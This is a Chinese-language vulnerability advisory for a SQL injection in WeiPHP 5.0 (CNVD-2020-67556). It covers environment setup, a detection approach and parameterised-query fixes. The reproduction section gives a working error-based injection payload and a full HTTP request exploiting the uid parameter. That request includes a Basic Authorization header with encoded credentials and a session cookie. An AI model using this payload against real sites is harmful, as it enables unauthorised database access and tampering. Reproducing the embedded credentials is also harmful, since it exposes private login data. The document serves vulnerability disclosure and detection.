WeiPHP5.0 SQL注入(CNVD-2020-67556 )
一、漏洞概述
1.1漏洞简述
- 漏洞名称:WeiPHP5.0 SQL注入(CNVD-2020-67556 )
- 漏洞类型:SQL注入
- 漏洞威胁等级:高危
- 影响范围:version = 5.0
- 利用条件:默认配置
1.2组件描述
weiphp5.0基于ThinkPHP5.1开发
1.3漏洞描述
**参考:**https://forum.butian.net/share/1890
二、漏洞复现
2.1应用协议
HTTP
2.2环境搭建
通过GitHub将weiphp5.0源码下载到本地,利用PHPstudy将源码环境搭建起来
https://github.com/weiphpdev/weiphp5.0
2.3漏洞复现
1.使用如下payload,其中利用SQL注入的报错注入进行版本查询。
updatexml(1,concat(0x7e,(select version()),0x7e),1)
2.发送如下HTTP请求:
GET /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)--+ HTTP/1.1
Host: 192.168.33.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic emVudGFvOkY3STROemhVb2Zu
Connection: close
Cookie: PHPSESSID=e7uu1jfu914bohhsp6prpgnos2
Upgrade-Insecure-Requests: 1
3.在本地成功通过报错注入查询版本。
三、漏洞分析
3.1技术背景
weiphp5.0基于ThinkPHP5.1开发
3.2代码分析
**参考文档:**https://forum.butian.net/index.php/share/1890
3.3漏洞危害
- 数据库信息泄露:数据库中存放的用户的隐私信息泄露
- 网页的篡改:通过操作数据库对特定的网页进行修改
- 网站被挂马:传播恶意软件:修改数据库一些字段的值。嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改。
- 服务器被远程控制,被安装后门,经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作
四、漏洞检测
4.1漏洞检测规则、插件编写思路
首先检测被检测网站是否是weiphp5.0,如果为weiphp5.0,则插入如上payload,查看响应包中是否存在关键字并进行检测。若存在故此网站存在weiphp5.0SQL注入漏洞。
4.2研判建议
对插入payload的响应包进行关键字检测,若存在关键字,故存在漏洞。
五、防范建议
5.1官方修复建议
官方已发布了最新补丁来修复该漏洞,请升级至最新版本。
5.2临时修复建议
- 使用预处理
- 所有查询语句都使用数据库提供的参数化查询接口,并且参数化语句使用参数,而不是将用户输入变量嵌入SQL语句中,几乎所有当前的数据库系统都提供参数化的SQL语句执行接口。使用此接口可以有效的防止SQL注入攻击。
六、参考链接
https://forum.butian.net/share/1890
七、备注